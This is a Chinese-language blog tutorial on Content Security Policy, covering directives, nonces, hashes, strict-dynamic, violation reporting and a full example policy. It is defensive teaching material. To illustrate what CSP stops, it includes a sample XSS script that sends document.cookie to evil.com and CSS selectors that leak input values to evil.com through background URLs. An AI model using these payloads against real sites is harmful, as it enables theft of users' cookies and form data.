Content Security Policy 深度解析:从 XSS 防护到 strict-dynamic

前端安全(更新于 2026年6月10日)

CSP:XSS 防护的最后一道防线

Content Security Policy(CSP)是 HTTP 响应头,告诉浏览器哪些资源可以加载、从哪里加载。即使攻击者注入了恶意脚本,CSP 也能阻止其执行。

没有 CSP 时的 XSS 攻击

<!-- 攻击者注入的脚本 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

有 CSP 后

Content-Security-Policy: default-src 'self'

→ 浏览器拒绝执行内联脚本
→ 拒绝加载非同源资源
→ XSS 攻击失效

CSP 核心指令

资源加载指令

指令 控制范围 示例值
default-src 所有资源的默认策略 'self'
script-src JavaScript 来源 'self' 'nonce-abc'
style-src CSS 来源 'self' 'unsafe-inline'
img-src 图片来源 'self' data: https:
font-src 字体来源 'self' https://fonts.gstatic.com
connect-src fetch/XHR/WebSocket 来源 'self' https://api.example.com
media-src 音视频来源 'self'
object-src <object>/<embed> 来源 'none'
frame-src iframe 来源 'self'
base-uri <base href> 限制 'self'
form-action 表单提交目标 'self'

文档指令

指令 作用 推荐值
upgrade-insecure-requests HTTP 自动升级 HTTPS (无需值)
block-all-mixed-content 阻止混合内容 (无需值)
sandbox 限制页面能力(类似 iframe sandbox) allow-scripts allow-forms

从 unsafe-inline 到 nonce/hash

unsafe-inline 的风险

script-src 'self' 'unsafe-inline'

→ 允许所有内联脚本执行
→ XSS 注入的 <script> 也能执行
→ CSP 形同虚设

nonce 方案

服务端为每个请求生成随机 nonce,仅允许带匹配 nonce 的脚本执行:

<!-- HTTP 响应头 -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'

<!-- HTML 中的脚本 -->
<script nonce="abc123def456">
  console.log('这是合法脚本');
</script>

<!-- 攻击者注入的脚本没有 nonce → 被阻止 -->
<script>
  stealCookies(); // 不执行
</script>

Next.js 中实现 nonce

import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = `script-src 'self' 'nonce-${nonce}'`;

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

hash 方案

对脚本内容计算 SHA256 哈希,仅允许哈希匹配的脚本:

Content-Security-Policy: script-src 'self' 'sha256-abc123...'

<!-- 哈希匹配的脚本可以执行 -->
<script>console.log('固定内容脚本');</script>

hash 适用于内容固定的内联脚本(如 GA 初始化代码),nonce 适用于动态内容。


strict-dynamic:信任链传播

传统 CSP 的痛点

每新增一个第三方脚本来源,就要在 script-src 中添加域名:

script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...

维护困难,且信任域名下的所有脚本

strict-dynamic 方案

strict-dynamic 表示:由 nonce/hash 信任的脚本动态加载的脚本也自动受信任

script-src 'strict-dynamic' 'nonce-abc123'
  • 带 nonce 的 <script> 可以执行
  • 该脚本用 document.createElement('script') 创建的脚本也可以执行
  • 不需要在 CSP 中列出所有 CDN 域名

信任链传播规则

nonce 信任的脚本
  ↓ 动态加载
  子脚本自动信任
    ↓ 动态加载
    孙脚本自动信任
      ↓ ...

strict-dynamic 下,'self''unsafe-inline'、域名源等传统源表达式被忽略,仅 nonce/hash 作为信任根。


style-src 的特殊处理

为什么 CSS 也需要 CSP

攻击者可以通过 CSS 窃取数据:

/* CSS 数据窃取:根据属性值加载不同背景图 */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }

样式 CSP 策略

style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
  .card { border-radius: 8px; }
</style>

许多框架(如 Tailwind CSS 的 JIT)需要 'unsafe-inline',可通过 nonce 或 hash 逐步收紧。


CSP 违规报告

配置报告端点

Content-Security-Policy: default-src 'self'; report-uri /api/csp-report

或使用新的 report-to

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"

违规报告格式

{
  "csp-report": {
    "document-uri": "https://toolsku.com/blog/csp",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "inline",
    "source-file": "https://toolsku.com/blog/csp",
    "line-number": 42,
    "column-number": 8
  }
}

报告处理服务端

export async function POST(request: Request) {
  const report = await request.json();
  console.error('CSP violation:', report['csp-report']);

  await db.insert('csp_violations', {
    uri: report['csp-report']['document-uri'],
    directive: report['csp-report']['violated-directive'],
    blocked: report['csp-report']['blocked-uri'],
    timestamp: new Date()
  });

  return new Response(null, { status: 204 });
}

CSP 只读模式(Content-Security-Policy-Report-Only)

部署 CSP 前先用 Report-Only 模式观察违规,不实际阻止

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report

渐进部署流程

1. 设置 CSP-Report-Only → 收集违规报告
2. 分析报告 → 调整 CSP 策略
3. 违规清零后 → 切换为正式 CSP
4. 持续监控 → 发现新违规再调整

完整 CSP 配置示例

工具库网站的 CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.toolsku.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /api/csp-report

配置解析

指令 安全意义
default-src 'self' 默认仅同源 防止任意资源加载
script-src 'strict-dynamic' 'nonce-...' nonce + 信任链 消灭 unsafe-inline
style-src 'unsafe-inline' 允许内联样式 Tailwind JIT 需要
object-src 'none' 禁止 Flash/Java 消灭旧插件攻击面
frame-src 'none' 禁止 iframe 防止点击劫持
base-uri 'self' 限制 base 标签 防止 base 劫持
form-action 'self' 表单仅提交同源 防止表单劫持

与其他安全响应头配合

响应头 作用 推荐值
X-Content-Type-Options 禁止 MIME 嗅探 nosniff
X-Frame-Options 禁止 iframe 嵌入 DENY
X-XSS-Protection 浏览器 XSS 过滤器 0(CSP 已覆盖)
Strict-Transport-Security 强制 HTTPS max-age=31536000; includeSubDomains
Referrer-Policy 控制 Referer 泄露 strict-origin-when-cross-origin
Permissions-Policy 限制浏览器 API camera=(), microphone=(), geolocation=()

常见陷阱

陷阱 说明 解决
unsafe-eval 允许 eval()/new Function() 避免使用 eval,或用 Wasm 替代
unsafe-inline + nonce nonce 存在时 inline 被忽略 移除 unsafe-inline
缺少 default-src 未设置的指令回退到 default-src 始终设置 default-src
CDN 域名过多 维护困难 使用 strict-dynamic
不设 base-uri 攻击者可注入 <base> 改变相对路径 设置 base-uri 'self'

总结

CSP 是 XSS 防护的核心机制。从 unsafe-inline 迁移到 nonce + strict-dynamic 是现代 CSP 的最佳实践:既消除了内联脚本的风险,又解决了第三方脚本信任链的维护问题。配合 Report-Only 渐进部署和违规报告监控,可以在不破坏功能的前提下持续收紧安全策略。

使用 CSP 生成器 快速配置 CSP 策略,使用 HTTP 头分析 检查响应头安全性,使用 Permissions Policy 工具 限制浏览器 API 访问。

本站提供浏览器本地工具,免注册即可试用 →

#CSP#内容安全策略#XSS防护#nonce#安全响应头